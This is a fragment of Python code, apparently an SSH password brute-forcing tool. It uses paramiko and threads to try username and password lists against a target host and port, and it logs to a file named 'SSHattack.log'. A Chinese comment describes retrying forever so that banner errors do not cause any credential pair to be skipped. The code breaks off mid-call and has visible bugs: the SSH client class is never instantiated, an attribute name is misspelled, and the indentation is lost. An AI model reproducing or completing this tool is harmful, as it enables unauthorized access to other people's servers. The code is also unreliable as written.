import optparse
import sys
import os
import threading
import paramiko
class ThreadWork(threading.Thread):
def __init__(self,ip,usernameBlock,passwordBlock,port):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.usernameBlock = usernameBlock
self.passworkBlock = passwordBlock
def run(self,username,password):
'''
用死循环防止因为error reading ssh protocol banner错误
导致线程没有验证账号密码是否正确就抛弃掉
'''
while True:
try:
paramiko.util.log_to_file('SSHattack.log')
ssh = paramiko.SSHClient
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
sys.stdout.write("[*]ssh[{}:{}:{}] => {}\n".format(username,password,self.port,self.ip))
ssh.connect(hostname=self.ip